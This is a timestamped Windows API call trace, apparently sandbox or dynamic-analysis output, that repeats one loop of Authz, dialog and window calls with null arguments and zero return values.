[0025.631] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.631] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.631] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.631] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.631] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.631] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.631] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.631] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.631] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.631] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.631] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.631] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.631] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.631] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.631] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.631] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.631] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.631] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.632] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.632] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.632] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.632] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.632] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.632] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.632] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.632] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.632] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.632] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.632] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.632] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.632] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.632] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.632] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.632] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.632] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.632] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.632] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.632] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.632] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.632] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.632] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.632] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.632] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.632] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.632] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.632] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.632] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.632] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.632] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.632] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.632] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.632] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.632] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.632] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.632] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.632] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.632] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.632] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.632] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.633] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.633] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.633] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.633] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.633] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.633] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.633] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.633] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.633] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.633] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.633] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.633] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.633] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.633] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.633] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.633] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.633] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.633] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.633] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.633] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.633] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.633] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.633] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.633] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.633] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.633] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.633] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.633] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.633] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.633] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.633] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.633] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.633] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.633] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.633] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.633] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.633] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.633] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.633] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.633] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.633] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.634] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.634] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.634] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.634] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.634] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.634] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.634] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.634] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.634] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.634] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.634] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.634] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.634] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.634] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.634] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.634] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.634] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.634] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.634] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.634] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.634] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.634] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.634] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.634] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.634] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.634] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.634] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.634] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.634] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.634] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.634] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.634] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.634] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.634] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.634] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.634] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.634] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.634] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.634] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.634] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.634] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.634] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.635] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.635] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.635] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.635] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.635] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.635] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.635] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.635] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.635] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.635] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.635] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.635] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.635] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.635] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.635] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.635] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.635] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.635] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.635] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.635] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.635] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.635] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.635] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.635] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.635] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.635] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.635] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.635] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.635] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.635] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.635] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.635] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.635] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.635] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.635] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.635] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.635] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.635] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.635] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.635] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.635] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.635] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.636] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.636] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.636] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.636] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.636] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.636] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.636] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.636] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.636] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.636] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.636] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.636] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.636] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.636] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.636] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.636] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.636] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.636] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.636] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.636] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.636] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.636] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.636] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.636] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.636] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.636] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.636] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.636] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.636] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.636] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.636] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.636] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.636] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.636] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.636] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.636] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.636] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.636] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.636] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.636] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.636] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.637] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.637] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.637] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.637] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.637] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.637] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.637] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.637] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.637] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.637] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.637] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.637] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.637] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.637] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.637] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.637] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.637] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.637] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.637] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.637] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.637] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.637] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.637] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.637] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.637] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.637] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.637] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.637] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.637] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.637] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.637] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.637] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.637] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.637] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.637] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.637] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.637] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.637] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.637] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.637] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.638] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.638] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.638] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.638] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.638] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.638] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.638] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.638] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.638] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.638] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.638] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.638] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.638] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.638] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.638] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.638] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) 